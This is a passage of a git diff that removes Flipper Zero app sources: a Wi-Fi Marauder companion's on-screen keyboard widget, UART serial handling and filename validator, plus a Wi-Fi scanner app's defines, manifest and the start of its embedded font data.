furi_crash(NULL); - } - } - - return row_size; -} - -static const WIFI_TextInputKey* get_row(const Keyboard* keyboard, uint8_t row_index) { - const WIFI_TextInputKey* row = NULL; - if(row_index < 3) { - row = keyboard->rows[row_index]; - } else { - furi_crash(NULL); - } - - return row; -} - -static char get_selected_char(WIFI_TextInputModel* model) { - return get_row( - keyboards[model->selected_keyboard], model->selected_row)[model->selected_column] - .text; -} - -static bool char_is_lowercase(char letter) { - return (letter >= 0x61 && letter <= 0x7A); -} - -static char char_to_uppercase(const char letter) { - if(letter == '_') { - return 0x20; - } else if(letter == ':') { - return 0x3B; - } else if(letter == '/') { - return 0x5C; - } else if(letter == '\'') { - return 0x60; - } else if(char_is_lowercase(letter)) { - return (letter - 0x20); - } else { - return letter; - } -} - -static void wifi_text_input_backspace_cb(WIFI_TextInputModel* model) { - if(model->clear_default_text) { - model->text_buffer[0] = 0; - model->cursor_pos = 0; - } else if(model->cursor_pos > 0) { - char* move = model->text_buffer + model->cursor_pos; - memmove(move - 1, move, strlen(move) + 1); - model->cursor_pos--; - } -} - -static void wifi_text_input_view_draw_callback(Canvas* canvas, void* _model) { - WIFI_TextInputModel* model = _model; - uint8_t text_length = model->text_buffer ? strlen(model->text_buffer) : 0; - uint8_t needed_string_width = canvas_width(canvas) - 8; - uint8_t start_pos = 4; - - model->cursor_pos = model->cursor_pos > text_length ? text_length : model->cursor_pos; - size_t cursor_pos = model->cursor_pos; - - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - - canvas_draw_str(canvas, 2, 8, model->header); - elements_slightly_rounded_frame(canvas, 1, 12, 126, 15); - - char buf[model->text_buffer_size + 1]; - if(model->text_buffer) { - strlcpy(buf, model->text_buffer, sizeof(buf)); - } - char* str = buf; - - if(model->clear_default_text) { - elements_slightly_rounded_box( - canvas, start_pos - 1, 14, canvas_string_width(canvas, str) + 2, 10); - canvas_set_color(canvas, ColorWhite); - } else { - char* move = str + cursor_pos; - memmove(move + 1, move, strlen(move) + 1); - str[cursor_pos] = '|'; - } - - if(cursor_pos > 0 && canvas_string_width(canvas, str) > needed_string_width) { - canvas_draw_str(canvas, start_pos, 22, "..."); - start_pos += 6; - needed_string_width -= 8; - for(uint32_t off = 0; - strlen(str) && canvas_string_width(canvas, str) > needed_string_width && - off < cursor_pos; - off++) { - str++; - } - } - - if(canvas_string_width(canvas, str) > needed_string_width) { - needed_string_width -= 4; - size_t len = strlen(str); - while(len && canvas_string_width(canvas, str) > needed_string_width) { - str[len--] = '\0'; - } - strcat(str, "..."); - } - - canvas_draw_str(canvas, start_pos, 22, str); - - canvas_set_font(canvas, FontKeyboard); - - for(uint8_t row = 0; row < keyboard_row_count; row++) { - const uint8_t column_count = get_row_size(keyboards[model->selected_keyboard], row); - const WIFI_TextInputKey* keys = get_row(keyboards[model->selected_keyboard], row); - - for(size_t column = 0; column < column_count; column++) { - bool selected = !model->cursor_select && model->selected_row == row && - model->selected_column == column; - const Icon* icon = NULL; - if(keys[column].text == ENTER_KEY) { - icon = selected ? &I_KeySaveSelected_24x11 : &I_KeySave_24x11; - } else if(keys[column].text == SWITCH_KEYBOARD_KEY) { - icon = selected ? &I_KeyKeyboardSelected_10x11 : &I_KeyKeyboard_10x11; - } else if(keys[column].text == BACKSPACE_KEY) { - icon = selected ? &I_KeyBackspaceSelected_16x9 : &I_KeyBackspace_16x9; - } - canvas_set_color(canvas, ColorBlack); - if(icon != NULL) { - canvas_draw_icon( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - icon); - } else { - if(selected) { - canvas_draw_box( - canvas, - keyboard_origin_x + keys[column].x - 1, - keyboard_origin_y + keys[column].y - 8, - 7, - 10); - canvas_set_color(canvas, ColorWhite); - } - - if(model->clear_default_text || text_length == 0) { - canvas_draw_glyph( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - char_to_uppercase(keys[column].text)); - } else { - canvas_draw_glyph( - canvas, - keyboard_origin_x + keys[column].x, - keyboard_origin_y + keys[column].y, - keys[column].text); - } - } - } - } - if(model->validator_message_visible) { - canvas_set_font(canvas, FontSecondary); - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 8, 10, 110, 48); - canvas_set_color(canvas, ColorBlack); - canvas_draw_icon(canvas, 10, 14, &I_WarningDolphin_45x42); - canvas_draw_rframe(canvas, 8, 8, 112, 50, 3); - canvas_draw_rframe(canvas, 9, 9, 110, 48, 2); - elements_multiline_text(canvas, 62, 20, furi_string_get_cstr(model->validator_text)); - canvas_set_font(canvas, FontKeyboard); - } -} - -static void - wifi_text_input_handle_up(WIFI_TextInput* wifi_text_input, WIFI_TextInputModel* model) { - UNUSED(wifi_text_input); - if(model->selected_row > 0) { - model->selected_row--; - if(model->selected_row == 0 && - model->selected_column > - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 6) { - model->selected_column = model->selected_column + 1; - } - if(model->selected_row == 1 && - model->selected_keyboard == symbol_keyboard.keyboard_index) { - if(model->selected_column > 5) - model->selected_column += 2; - else if(model->selected_column > 1) - model->selected_column += 1; - } - } else { - model->cursor_select = true; - model->clear_default_text = false; - } -} - -static void - wifi_text_input_handle_down(WIFI_TextInput* wifi_text_input, WIFI_TextInputModel* model) { - UNUSED(wifi_text_input); - if(model->cursor_select) { - model->cursor_select = false; - } else if(model->selected_row < keyboard_row_count - 1) { - model->selected_row++; - if(model->selected_row == 1 && - model->selected_column > - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 4) { - model->selected_column = model->selected_column - 1; - } - if(model->selected_row == 2 && - model->selected_keyboard == symbol_keyboard.keyboard_index) { - if(model->selected_column > 7) - model->selected_column -= 2; - else if(model->selected_column > 1) - model->selected_column -= 1; - } - } -} - -static void - wifi_text_input_handle_left(WIFI_TextInput* wifi_text_input, WIFI_TextInputModel* model) { - UNUSED(wifi_text_input); - if(model->cursor_select) { - if(model->cursor_pos > 0) { - model->cursor_pos = CLAMP(model->cursor_pos - 1, strlen(model->text_buffer), 0u); - } - } else if(model->selected_column > 0) { - model->selected_column--; - } else { - model->selected_column = - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 1; - } -} - -static void - wifi_text_input_handle_right(WIFI_TextInput* wifi_text_input, WIFI_TextInputModel* model) { - UNUSED(wifi_text_input); - if(model->cursor_select) { - model->cursor_pos = CLAMP(model->cursor_pos + 1, strlen(model->text_buffer), 0u); - } else if( - model->selected_column < - get_row_size(keyboards[model->selected_keyboard], model->selected_row) - 1) { - model->selected_column++; - } else { - model->selected_column = 0; - } -} - -static void wifi_text_input_handle_ok( - WIFI_TextInput* wifi_text_input, - WIFI_TextInputModel* model, - InputType type) { - if(model->cursor_select) return; - bool shift = type == InputTypeLong; - bool repeat = type == InputTypeRepeat; - char selected = get_selected_char(model); - size_t text_length = strlen(model->text_buffer); - - if(selected == ENTER_KEY) { - if(model->validator_callback && - (!model->validator_callback( - model->text_buffer, model->validator_text, model->validator_callback_context))) { - model->validator_message_visible = true; - furi_timer_start(wifi_text_input->timer, furi_kernel_get_tick_frequency() * 4); - } else if(model->callback != 0 && text_length >= model->minimum_length) { - model->callback(model->callback_context); - } - } else if(selected == SWITCH_KEYBOARD_KEY) { - switch_keyboard(model); - } else { - if(selected == BACKSPACE_KEY) { - wifi_text_input_backspace_cb(model); - } else if(!repeat) { - if(model->clear_default_text) { - text_length = 0; - } - if(text_length < (model->text_buffer_size - 1)) { - if(shift != (text_length == 0)) { - selected = char_to_uppercase(selected); - } - if(model->clear_default_text) { - model->text_buffer[0] = selected; - model->text_buffer[1] = '\0'; - model->cursor_pos = 1; - } else { - char* move = model->text_buffer + model->cursor_pos; - memmove(move + 1, move, strlen(move) + 1); - model->text_buffer[model->cursor_pos] = selected; - model->cursor_pos++; - } - } - } - model->clear_default_text = false; - } -} - -static bool wifi_text_input_view_input_callback(InputEvent* event, void* context) { - WIFI_TextInput* wifi_text_input = context; - furi_assert(wifi_text_input); - - bool consumed = false; - - // Acquire model - WIFI_TextInputModel* model = view_get_model(wifi_text_input->view); - - if((!(event->type == InputTypePress) && !(event->type == InputTypeRelease)) && - model->validator_message_visible) { - model->validator_message_visible = false; - consumed = true; - } else if(event->type == InputTypeShort) { - consumed = true; - switch(event->key) { - case InputKeyUp: - wifi_text_input_handle_up(wifi_text_input, model); - break; - case InputKeyDown: - wifi_text_input_handle_down(wifi_text_input, model); - break; - case InputKeyLeft: - wifi_text_input_handle_left(wifi_text_input, model); - break; - case InputKeyRight: - wifi_text_input_handle_right(wifi_text_input, model); - break; - case InputKeyOk: - wifi_text_input_handle_ok(wifi_text_input, model, event->type); - break; - default: - consumed = false; - break; - } - } else if(event->type == InputTypeLong) { - consumed = true; - switch(event->key) { - case InputKeyUp: - wifi_text_input_handle_up(wifi_text_input, model); - break; - case InputKeyDown: - wifi_text_input_handle_down(wifi_text_input, model); - break; - case InputKeyLeft: - wifi_text_input_handle_left(wifi_text_input, model); - break; - case InputKeyRight: - wifi_text_input_handle_right(wifi_text_input, model); - break; - case InputKeyOk: - wifi_text_input_handle_ok(wifi_text_input, model, event->type); - break; - case InputKeyBack: - wifi_text_input_backspace_cb(model); - break; - default: - consumed = false; - break; - } - } else if(event->type == InputTypeRepeat) { - consumed = true; - switch(event->key) { - case InputKeyUp: - wifi_text_input_handle_up(wifi_text_input, model); - break; - case InputKeyDown: - wifi_text_input_handle_down(wifi_text_input, model); - break; - case InputKeyLeft: - wifi_text_input_handle_left(wifi_text_input, model); - break; - case InputKeyRight: - wifi_text_input_handle_right(wifi_text_input, model); - break; - case InputKeyOk: - wifi_text_input_handle_ok(wifi_text_input, model, event->type); - break; - case InputKeyBack: - wifi_text_input_backspace_cb(model); - break; - default: - consumed = false; - break; - } - } - - // Commit model - view_commit_model(wifi_text_input->view, consumed); - - return consumed; -} - -void wifi_text_input_timer_callback(void* context) { - furi_assert(context); - WIFI_TextInput* wifi_text_input = context; - - with_view_model( - wifi_text_input->view, - WIFI_TextInputModel * model, - { model->validator_message_visible = false; }, - true); -} - -WIFI_TextInput* wifi_text_input_alloc() { - WIFI_TextInput* wifi_text_input = malloc(sizeof(WIFI_TextInput)); - wifi_text_input->view = view_alloc(); - view_set_context(wifi_text_input->view, wifi_text_input); - view_allocate_model(wifi_text_input->view, ViewModelTypeLocking, sizeof(WIFI_TextInputModel)); - view_set_draw_callback(wifi_text_input->view, wifi_text_input_view_draw_callback); - view_set_input_callback(wifi_text_input->view, wifi_text_input_view_input_callback); - - wifi_text_input->timer = - furi_timer_alloc(wifi_text_input_timer_callback, FuriTimerTypeOnce, wifi_text_input); - - with_view_model( - wifi_text_input->view, - WIFI_TextInputModel * model, - { - model->validator_text = furi_string_alloc(); - model->minimum_length = 1; - model->cursor_pos = 0; - model->cursor_select = false; - }, - false); - - wifi_text_input_reset(wifi_text_input); - - return wifi_text_input; -} - -void wifi_text_input_free(WIFI_TextInput* wifi_text_input) { - furi_assert(wifi_text_input); - with_view_model( - wifi_text_input->view, - WIFI_TextInputModel * model, - { furi_string_free(model->validator_text); }, - false); - - // Send stop command - furi_timer_stop(wifi_text_input->timer); - // Release allocated memory - furi_timer_free(wifi_text_input->timer); - - view_free(wifi_text_input->view); - - free(wifi_text_input); -} - -void wifi_text_input_reset(WIFI_TextInput* wifi_text_input) { - furi_assert(wifi_text_input); - with_view_model( - wifi_text_input->view, - WIFI_TextInputModel * model, - { - model->header = ""; - model->selected_row = 0; - model->selected_column = 0; - model->selected_keyboard = 0; - model->minimum_length = 1; - model->clear_default_text = false; - model->cursor_pos = 0; - model->cursor_select = false; - model->text_buffer = NULL; - model->text_buffer_size = 0; - model->callback = NULL; - model->callback_context = NULL; - model->validator_callback = NULL; - model->validator_callback_context = NULL; - furi_string_reset(model->validator_text); - model->validator_message_visible = false; - }, - true); -} - -View* wifi_text_input_get_view(WIFI_TextInput* wifi_text_input) { - furi_assert(wifi_text_input); - return wifi_text_input->view; -} - -void wifi_text_input_set_result_callback( - WIFI_TextInput* wifi_text_input, - WIFI_TextInputCallback callback, - void* callback_context, - char* text_buffer, - size_t text_buffer_size, - bool clear_default_text) { - with_view_model( - wifi_text_input->view, - WIFI_TextInputModel * model, - { - model->callback = callback; - model->callback_context = callback_context; - model->text_buffer = text_buffer; - model->text_buffer_size = text_buffer_size; - model->clear_default_text = clear_default_text; - model->cursor_select = false; - if(text_buffer && text_buffer[0] != '\0') { - model->cursor_pos = strlen(text_buffer); - // Set focus on Save - model->selected_row = 2; - model->selected_column = 9; - model->selected_keyboard = 0; - } else { - model->cursor_pos = 0; - } - }, - true); -} - -void wifi_text_input_set_minimum_length(WIFI_TextInput* wifi_text_input, size_t minimum_length) { - with_view_model( - wifi_text_input->view, - WIFI_TextInputModel * model, - { model->minimum_length = minimum_length; }, - true); -} - -void wifi_text_input_set_validator( - WIFI_TextInput* wifi_text_input, - WIFI_TextInputValidatorCallback callback, - void* callback_context) { - with_view_model( - wifi_text_input->view, - WIFI_TextInputModel * model, - { - model->validator_callback = callback; - model->validator_callback_context = callback_context; - }, - true); -} - -WIFI_TextInputValidatorCallback - wifi_text_input_get_validator_callback(WIFI_TextInput* wifi_text_input) { - WIFI_TextInputValidatorCallback validator_callback = NULL; - with_view_model( - wifi_text_input->view, - WIFI_TextInputModel * model, - { validator_callback = model->validator_callback; }, - false); - return validator_callback; -} - -void* wifi_text_input_get_validator_callback_context(WIFI_TextInput* wifi_text_input) { - void* validator_callback_context = NULL; - with_view_model( - wifi_text_input->view, - WIFI_TextInputModel * model, - { validator_callback_context = model->validator_callback_context; }, - false); - return validator_callback_context; -} - -void wifi_text_input_set_header_text(WIFI_TextInput* wifi_text_input, const char* text) { - with_view_model( - wifi_text_input->view, WIFI_TextInputModel * model, { model->header = text; }, true); -} diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_text_input.h b/applications/external/wifi_marauder_companion/wifi_marauder_text_input.h deleted file mode 100644 index f5efe9234..000000000 --- a/applications/external/wifi_marauder_companion/wifi_marauder_text_input.h +++ /dev/null @@ -1,83 +0,0 @@ -#pragma once - -#include -#include "wifi_marauder_validators.h" - -#ifdef __cplusplus -extern "C" { -#endif - -/** Text input anonymous structure */ -typedef struct WIFI_TextInput WIFI_TextInput; -typedef void (*WIFI_TextInputCallback)(void* context); -typedef bool (*WIFI_TextInputValidatorCallback)(const char* text, FuriString* error, void* context); - -/** Allocate and initialize text input - * - * This text input is used to enter string - * - * @return WIFI_TextInput instance - */ -WIFI_TextInput* wifi_text_input_alloc(); - -/** Deinitialize and free text input - * - * @param text_input WIFI_TextInput instance - */ -void wifi_text_input_free(WIFI_TextInput* text_input); - -/** Clean text input view Note: this function does not free memory - * - * @param text_input Text input instance - */ -void wifi_text_input_reset(WIFI_TextInput* text_input); - -/** Get text input view - * - * @param text_input WIFI_TextInput instance - * - * @return View instance that can be used for embedding - */ -View* wifi_text_input_get_view(WIFI_TextInput* text_input); - -/** Set text input result callback - * - * @param text_input WIFI_TextInput instance - * @param callback callback fn - * @param callback_context callback context - * @param text_buffer pointer to YOUR text buffer, that we going - * to modify - * @param text_buffer_size YOUR text buffer size in bytes. Max string - * length will be text_buffer_size-1. - * @param clear_default_text clear text from text_buffer on first OK - * event - */ -void wifi_text_input_set_result_callback( - WIFI_TextInput* text_input, - WIFI_TextInputCallback callback, - void* callback_context, - char* text_buffer, - size_t text_buffer_size, - bool clear_default_text); - -void wifi_text_input_set_validator( - WIFI_TextInput* text_input, - WIFI_TextInputValidatorCallback callback, - void* callback_context); - -void wifi_text_input_set_minimum_length(WIFI_TextInput* text_input, size_t minimum_length); - -WIFI_TextInputValidatorCallback wifi_text_input_get_validator_callback(WIFI_TextInput* text_input); - -void* wifi_text_input_get_validator_callback_context(WIFI_TextInput* text_input); - -/** Set text input header text - * - * @param text_input WIFI_TextInput instance - * @param text text to be shown - */ -void wifi_text_input_set_header_text(WIFI_TextInput* text_input, const char* text); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_uart.c b/applications/external/wifi_marauder_companion/wifi_marauder_uart.c deleted file mode 100644 index 0c9147752..000000000 --- a/applications/external/wifi_marauder_companion/wifi_marauder_uart.c +++ /dev/null @@ -1,115 +0,0 @@ -#include "wifi_marauder_app_i.h" -#include "wifi_marauder_uart.h" - -#define UART_CH (FuriHalUartIdUSART1) -#define LP_UART_CH (FuriHalUartIdLPUART1) -#define BAUDRATE (115200) - -struct WifiMarauderUart { - WifiMarauderApp* app; - FuriHalUartId channel; - FuriThread* rx_thread; - FuriStreamBuffer* rx_stream; - uint8_t rx_buf[RX_BUF_SIZE + 1]; - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context); -}; - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtRxDone = (1 << 1), -} WorkerEvtFlags; - -void wifi_marauder_uart_set_handle_rx_data_cb( - WifiMarauderUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) { - furi_assert(uart); - uart->handle_rx_data_cb = handle_rx_data_cb; -} - -#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone) - -void wifi_marauder_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - WifiMarauderUart* uart = (WifiMarauderUart*)context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(uart->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone); - } -} - -static int32_t uart_worker(void* context) { - WifiMarauderUart* uart = (void*)context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - if(events & WorkerEvtStop) break; - if(events & WorkerEvtRxDone) { - size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0); - if(len > 0) { - if(uart->handle_rx_data_cb) uart->handle_rx_data_cb(uart->rx_buf, len, uart->app); - } - } - } - - furi_stream_buffer_free(uart->rx_stream); - - return 0; -} - -void wifi_marauder_uart_tx(uint8_t* data, size_t len) { - furi_hal_uart_tx(UART_CH, data, len); -} - -void wifi_marauder_lp_uart_tx(uint8_t* data, size_t len) { - furi_hal_uart_tx(LP_UART_CH, data, len); -} - -WifiMarauderUart* - wifi_marauder_uart_init(WifiMarauderApp* app, FuriHalUartId channel, const char* thread_name) { - WifiMarauderUart* uart = malloc(sizeof(WifiMarauderUart)); - - uart->app = app; - uart->channel = channel; - uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1); - uart->rx_thread = furi_thread_alloc(); - furi_thread_set_name(uart->rx_thread, thread_name); - furi_thread_set_stack_size(uart->rx_thread, 1024); - furi_thread_set_context(uart->rx_thread, uart); - furi_thread_set_callback(uart->rx_thread, uart_worker); - furi_thread_start(uart->rx_thread); - if(channel == FuriHalUartIdUSART1) { - furi_hal_console_disable(); - } else if(channel == FuriHalUartIdLPUART1) { - furi_hal_uart_init(channel, BAUDRATE); - } - furi_hal_uart_set_br(channel, BAUDRATE); - furi_hal_uart_set_irq_cb(channel, wifi_marauder_uart_on_irq_cb, uart); - - return uart; -} - -WifiMarauderUart* wifi_marauder_usart_init(WifiMarauderApp* app) { - return wifi_marauder_uart_init(app, UART_CH, "WifiMarauderUartRxThread"); -} - -WifiMarauderUart* wifi_marauder_lp_uart_init(WifiMarauderApp* app) { - return wifi_marauder_uart_init(app, LP_UART_CH, "WifiMarauderLPUartRxThread"); -} - -void wifi_marauder_uart_free(WifiMarauderUart* uart) { - furi_assert(uart); - - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop); - furi_thread_join(uart->rx_thread); - furi_thread_free(uart->rx_thread); - - furi_hal_uart_set_irq_cb(uart->channel, NULL, NULL); - if(uart->channel == FuriHalUartIdLPUART1) { - furi_hal_uart_deinit(uart->channel); - } - furi_hal_console_enable(); - - free(uart); -} diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_uart.h b/applications/external/wifi_marauder_companion/wifi_marauder_uart.h deleted file mode 100644 index e352cfec5..000000000 --- a/applications/external/wifi_marauder_companion/wifi_marauder_uart.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include "furi_hal.h" - -#define RX_BUF_SIZE (2048) - -typedef struct WifiMarauderUart WifiMarauderUart; - -void wifi_marauder_uart_set_handle_rx_data_cb( - WifiMarauderUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)); -void wifi_marauder_uart_tx(uint8_t* data, size_t len); -void wifi_marauder_lp_uart_tx(uint8_t* data, size_t len); -WifiMarauderUart* wifi_marauder_usart_init(WifiMarauderApp* app); -WifiMarauderUart* wifi_marauder_lp_uart_init(WifiMarauderApp* app); -void wifi_marauder_uart_free(WifiMarauderUart* uart); diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_validators.c b/applications/external/wifi_marauder_companion/wifi_marauder_validators.c deleted file mode 100644 index 5bec88269..000000000 --- a/applications/external/wifi_marauder_companion/wifi_marauder_validators.c +++ /dev/null @@ -1,57 +0,0 @@ -#include -#include "wifi_marauder_validators.h" -#include - -struct ValidatorIsFile { - char* app_path_folder; - const char* app_extension; - char* current_name; -}; - -bool validator_is_file_callback(const char* text, FuriString* error, void* context) { - furi_assert(context); - ValidatorIsFile* instance = context; - - if(instance->current_name != NULL) { - if(strcmp(instance->current_name, text) == 0) { - return true; - } - } - - bool ret = true; - FuriString* path = furi_string_alloc_printf( - "%s/%s%s", instance->app_path_folder, text, instance->app_extension); - Storage* storage = furi_record_open(RECORD_STORAGE); - if(storage_common_stat(storage, furi_string_get_cstr(path), NULL) == FSE_OK) { - ret = false; - furi_string_printf(error, "This name\nexists!\nChoose\nanother one."); - } else { - ret = true; - } - furi_string_free(path); - furi_record_close(RECORD_STORAGE); - - return ret; -} - -ValidatorIsFile* validator_is_file_alloc_init( - const char* app_path_folder, - const char* app_extension, - const char* current_name) { - ValidatorIsFile* instance = malloc(sizeof(ValidatorIsFile)); - - instance->app_path_folder = strdup(app_path_folder); - instance->app_extension = app_extension; - if(current_name != NULL) { - instance->current_name = strdup(current_name); - } - - return instance; -} - -void validator_is_file_free(ValidatorIsFile* instance) { - furi_assert(instance); - free(instance->app_path_folder); - free(instance->current_name); - free(instance); -} diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_validators.h b/applications/external/wifi_marauder_companion/wifi_marauder_validators.h deleted file mode 100644 index d9200b6db..000000000 --- a/applications/external/wifi_marauder_companion/wifi_marauder_validators.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -#include - -#ifdef __cplusplus -extern "C" { -#endif -typedef struct ValidatorIsFile ValidatorIsFile; - -ValidatorIsFile* validator_is_file_alloc_init( - const char* app_path_folder, - const char* app_extension, - const char* current_name); - -void validator_is_file_free(ValidatorIsFile* instance); - -bool validator_is_file_callback(const char* text, FuriString* error, void* context); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h b/applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h deleted file mode 100644 index 7b28ebd64..000000000 --- a/applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h +++ /dev/null @@ -1,17 +0,0 @@ -#define WIFI_MODULE_INIT_VERSION "WFSM_0.1" - -#define MODULE_CONTEXT_INITIALIZATION WIFI_MODULE_INIT_VERSION -#define MODULE_CONTEXT_MONITOR "monitor" -#define MODULE_CONTEXT_SCAN "scan" -#define MODULE_CONTEXT_SCAN_ANIMATION "scan_anim" -#define MODULE_CONTEXT_MONITOR_ANIMATION "monitor_anim" - -#define MODULE_CONTROL_COMMAND_NEXT 'n' -#define MODULE_CONTROL_COMMAND_PREVIOUS 'p' -#define MODULE_CONTROL_COMMAND_SCAN 's' -#define MODULE_CONTROL_COMMAND_MONITOR 'm' -#define MODULE_CONTROL_COMMAND_RESTART 'r' - -#define FLIPPERZERO_SERIAL_BAUD 115200 - -#define NA 0 diff --git a/applications/external/wifi_scanner/application.fam b/applications/external/wifi_scanner/application.fam deleted file mode 100644 index 1375931ef..000000000 --- a/applications/external/wifi_scanner/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="wifi_scanner", - name="[WiFi] Scanner", - apptype=FlipperAppType.EXTERNAL, - entry_point="wifi_scanner_app", - requires=["gui"], - stack_size=2 * 1024, - order=110, - fap_icon="wifi_10px.png", - fap_category="GPIO", - fap_author="@SequoiaSan & @xMasterX", - fap_version="1.0", - fap_description="WiFi scanner module interface, based on ESP8266", -) diff --git a/applications/external/wifi_scanner/wifi_10px.png b/applications/external/wifi_scanner/wifi_10px.png deleted file mode 100644 index c13534660..000000000 Binary files a/applications/external/wifi_scanner/wifi_10px.png and /dev/null differ diff --git a/applications/external/wifi_scanner/wifi_scanner.c b/applications/external/wifi_scanner/wifi_scanner.c deleted file mode 100644 index 1eb60fd00..000000000 --- a/applications/external/wifi_scanner/wifi_scanner.c +++ /dev/null @@ -1,1070 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "FlipperZeroWiFiModuleDefines.h" - -#define WIFI_APP_DEBUG 0 - -#if WIFI_APP_DEBUG -#define APP_NAME_TAG "WiFi_Scanner" -#define WIFI_APP_LOG_I(format, ...) FURI_LOG_I(APP_NAME_TAG, format, ##__VA_ARGS__) -#define WIFI_APP_LOG_D(format, ...) FURI_LOG_D(APP_NAME_TAG, format, ##__VA_ARGS__) -#define WIFI_APP_LOG_E(format, ...) FURI_LOG_E(APP_NAME_TAG, format, ##__VA_ARGS__) -#else -#define WIFI_APP_LOG_I(format, ...) -#define WIFI_APP_LOG_D(format, ...) -#define WIFI_APP_LOG_E(format, ...) -#endif // WIFI_APP_DEBUG - -#define DISABLE_CONSOLE !WIFI_APP_DEBUG - -#define ENABLE_MODULE_POWER 1 -#define ENABLE_MODULE_DETECTION 1 - -#define ANIMATION_TIME 350 - -typedef enum EChunkArrayData { - EChunkArrayData_Context = 0, - EChunkArrayData_SSID, - EChunkArrayData_EncryptionType, - EChunkArrayData_RSSI, - EChunkArrayData_BSSID, - EChunkArrayData_Channel, - EChunkArrayData_IsHidden, - EChunkArrayData_CurrentAPIndex, - EChunkArrayData_TotalAps, - EChunkArrayData_ENUM_MAX -} EChunkArrayData; - -typedef enum EEventType // app internally defined event types -{ EventTypeKey // flipper input.h type -} EEventType; - -typedef struct SPluginEvent { - EEventType m_type; - InputEvent m_input; -} SPluginEvent; - -typedef struct EAccessPointDesc { - FuriString* m_accessPointName; - int16_t m_rssi; - FuriString* m_secType; - FuriString* m_bssid; - unsigned short m_channel; - bool m_isHidden; -} EAccessPointDesc; - -typedef enum EAppContext { - Undefined, - WaitingForModule, - Initializing, - ScanMode, - MonitorMode, - ScanAnimation, - MonitorAnimation -} EAppContext; - -typedef enum EWorkerEventFlags { - WorkerEventReserved = (1 << 0), // Reserved for StreamBuffer internal event - WorkerEventStop = (1 << 1), - WorkerEventRx = (1 << 2), -} EWorkerEventFlags; - -typedef struct SWiFiScannerApp { - FuriMutex* mutex; - Gui* m_gui; - FuriThread* m_worker_thread; - NotificationApp* m_notification; - FuriStreamBuffer* m_rx_stream; - - bool m_wifiModuleInitialized; - bool m_wifiModuleAttached; - - EAppContext m_context; - - EAccessPointDesc m_currentAccesspointDescription; - - unsigned short m_totalAccessPoints; - unsigned short m_currentIndexAccessPoint; - - uint32_t m_prevAnimationTime; - uint32_t m_animationTime; - uint8_t m_animtaionCounter; -} SWiFiScannerApp; - -/* - Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--36-360-72-72-P-176-ISO10646-1 - Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Emboldened by MihailJP. Some glyphs modified by Greg Omelaenko, using FontForge. - Glyphs: 95/658 - BBX Build Mode: 2 -*/ -const uint8_t u8g2_font_inb27_mr[4414] = - "_\2\5\4\5\6\1\4\6\26%\0\370\33\371\35\371\5e\13\313\21! \13\266\14\366\207\377\377\377" - "\20\0!\30\266\14\366\7`\310\22\353E\42\351\177r|(\220h\240-\222\17\37\42%\266\14v\37" - "d,\62\310\42\203,\62\310\42\203,\62\310\42\203,\62\310\42\203,\62\310\42\203|\370\377\307\1#" - "M\266\14\366\7u\220\261\310 \213\14\262\310 \213\14\262\310 k\20b\36 \343\1\62\36 \3;" - "d\220E\6Yd\220\65\10Y\203\220\365\306\3c<@\306\3\344\220A\26\31d\221A\326 d\15" - "\62\330 \203\15\62\26!\343\303\63\0$A\266\14\366\7\200H\352\251\325\320;$\220P\14\21d\210" - "C\4\31\1\21AX\11\244e.\271\325\64F\202YD\224E\6Yd\20\23\10\31\244\214AD!" - "&\220P\314Cm\251G$\365\341\42\0%I\266\14\366\7\261\34RN!%\21B\226 \205\14\42" - "H!\203\4b\310H\346!\227N \253\204\22I,\221\222d\10F\302Q\15\221\220N\32\304\220@" - "\6)%\220A\12\21d\20R\304\42\204$R\312)\344\224\17/\3&F\266\14\366\7\264\274\304\326" - "b\251\214\222H!\211\24\222H!\212\14\262\310 \214\4\322\220;\16\65E\302!\202\220A\250A\221" - "\22\310 &\15r\16!\250\224bL)\5\225\7Fa\241\224\64\310\61F|x\30\0'\17\266\14" - 